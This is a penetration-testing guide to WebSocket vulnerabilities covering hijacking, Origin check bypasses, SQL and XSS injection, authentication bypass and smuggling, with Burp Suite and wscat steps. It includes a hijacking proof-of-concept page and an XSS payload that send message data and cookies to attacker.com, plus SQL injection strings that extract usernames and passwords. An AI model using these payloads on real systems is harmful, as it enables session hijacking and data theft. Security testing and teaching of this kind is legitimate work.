WebSocket Security Testing: CSWSH, Injection, and Authentication Bypass
WebSockets provide full-duplex communication channels over a single TCP connection, making them ideal for real-time applications like chat, live updates, and multiplayer games. But the WebSocket protocol has a fundamentally different security model from HTTP — one that many developers do not fully understand. This guide covers every significant WebSocket attack vector.
The WebSocket Security Model
| Vulnerability | Test Case | Burp Feature | Severity | Notes |
|---|---|---|---|---|
| Missing Origin check | Send WS from evil.com | WS Intercept | Critical | CSWSH attack |
| No authentication | Connect without valid session token | WS Intercept | Critical | Unauthenticated access |
| Injection via WS messages | Send SQLi/XSS/CMDi in WS messages | Repeater | High | All injection types apply |
| IDOR via WebSocket | Change user ID in WS message | Repeater | High | Same as HTTP IDOR |
| Cleartext WS (ws://) | Check if ws:// used on sensitive functions | Passive scan | High | Should be wss:// |
| Race condition | Send concurrent WS messages | Turbo Intruder | High | Timing attacks |
| DoS via WS | Send large messages or high volume | Repeater | Medium | Unthrottled connections |
Key differences from HTTP security:
- No Same-Origin Policy enforcement: Any page can initiate a WebSocket connection to any server — the SOP does not apply to WebSocket connections the way it does to XHR/fetch.
- Origin header is the only defense: The server must manually check the
Originheader during the handshake to prevent cross-origin connections. - Authentication is not automatic: Cookies are sent during the upgrade handshake, but the application must explicitly validate them.
- Messages are not automatically validated: No built-in CSRF protection equivalent.
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is the WebSocket equivalent of CSRF. If a WebSocket endpoint relies solely on cookie-based authentication and does not validate the Origin header, an attacker page can establish a WebSocket connection to the target server on behalf of the victim — authenticated with the victim's cookies.
PoC HTML for CSWSH
<!-- attacker.com/exploit.html -->
<script>
const ws = new WebSocket('wss://target.com/ws/chat');
ws.onopen = function() {
// Send a message as the victim:
ws.send(JSON.stringify({type: 'get_history'}));
};
ws.onmessage = function(event) {
// Exfiltrate all received messages:
fetch('https://attacker.com/collect?data=' + encodeURIComponent(event.data));
};
</script>
When a victim visits attacker.com/exploit.html while logged into target.com, the WebSocket connection is established with the victim's cookies. The server receives it as a legitimate authenticated connection.
Testing for CSWSH
- Capture the WebSocket upgrade request in Burp Suite.
- Check the
Originheader in the upgrade request. - In Burp Repeater, change the
Originto a different domain (e.g.,https://evil.com). - If the server responds with
101 Switching Protocols, the origin is not validated — CSWSH is possible. - Test whether the session is authenticated post-upgrade by sending a message and observing the response.
Origin Header Validation Bypass
Some applications validate the Origin header but do so improperly:
# Bypass attempts when Origin validation uses string matching:
# If server checks: origin.startsWith('https://target.com')
Origin: https://target.com.evil.com
# If server checks: origin.endsWith('target.com')
Origin: https://evil-target.com
# If server checks for exact match but is case-insensitive:
Origin: https://TARGET.COM
# If server accepts null origin (some sandbox/browser behaviors):
Origin: null
WebSocket Message Injection
WebSocket messages are typically JSON or a custom text format. Like any user-supplied data, they must be sanitized before processing. Test for:
SQL Injection via WebSocket
# Intercept a WebSocket message in Burp and modify it:
# Original:
{"action": "search", "query": "laptops"}
# SQL injection probe:
{"action": "search", "query": "laptops' OR 1=1--"}
{"action": "search", "query": "' UNION SELECT username,password FROM users--"}
# Time-based blind:
{"action": "search", "query": "laptops' AND SLEEP(5)--"}
Use Burp Suite's WebSocket history to replay and modify messages. The SQL Injection Generator can generate payloads adapted for JSON context.
XSS via WebSocket
# If the application renders WebSocket message content in the DOM:
{"username": "<img src=x onerror=alert(document.domain)>", "text": "hello"}
{"message": "<script>alert(1)</script>"}
# Stored XSS via WebSocket (persisted to database, rendered for other users):
{"chat_message": "<svg onload=fetch('https://attacker.com/?c='+document.cookie)>"}
WebSocket Authentication Bypass
Some applications authenticate at the HTTP request level but do not re-validate for WebSocket connections, or apply weaker validation:
# Test accessing WebSocket endpoint without authentication:
GET /ws/admin HTTP/1.1
Upgrade: websocket
# (no Authorization header or session cookie)
# Test accessing privileged WebSocket endpoint as regular user:
# Normally: wss://target.com/ws/user
# Try: wss://target.com/ws/admin
# wss://target.com/ws/internal
WebSocket Smuggling
WebSocket smuggling attacks exploit inconsistencies between how a reverse proxy and the backend handle the WebSocket upgrade request. By crafting a malformed upgrade request that the proxy treats as a WebSocket connection but the backend treats as a regular HTTP request, attackers can bypass proxy-level security controls:
# Probe for WebSocket smuggling:
GET /ws HTTP/1.1
Upgrade: websocket
Connection: upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
# Observe whether the proxy and backend disagree on how to handle this request
Testing Tools
wscat — Command-Line WebSocket Client
# Install:
npm install -g wscat
# Connect to a WebSocket endpoint:
wscat -c wss://target.com/ws
# Connect with custom headers (cookies, authorization):
wscat -c wss://target.com/ws -H "Cookie: session=YOUR_SESSION_TOKEN" -H "Authorization: Bearer YOUR_TOKEN"
# Send messages interactively:
connected (press CTRL+C to quit)
> {"type": "subscribe", "channel": "general"}
< {"type": "subscribed", "channel": "general"}
Burp Suite WebSocket Testing
Burp Suite intercepts WebSocket messages in the Proxy → WebSockets history tab. Use the Repeater to resend individual messages with modifications. The Intruder can fuzz WebSocket message parameters for injection vulnerabilities.
CSWSH Mitigation Verification
To confirm a CSWSH fix is effective, verify that:
- The server validates
Originagainst a whitelist of trusted domains - A CSRF token is required as part of the WebSocket handshake query string or initial message
- Cross-origin upgrade requests receive a non-101 response
For authentication testing beyond WebSockets, see our Broken Authentication Testing guide. Use the API Security Studio to test REST APIs alongside WebSocket endpoints for the same application.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides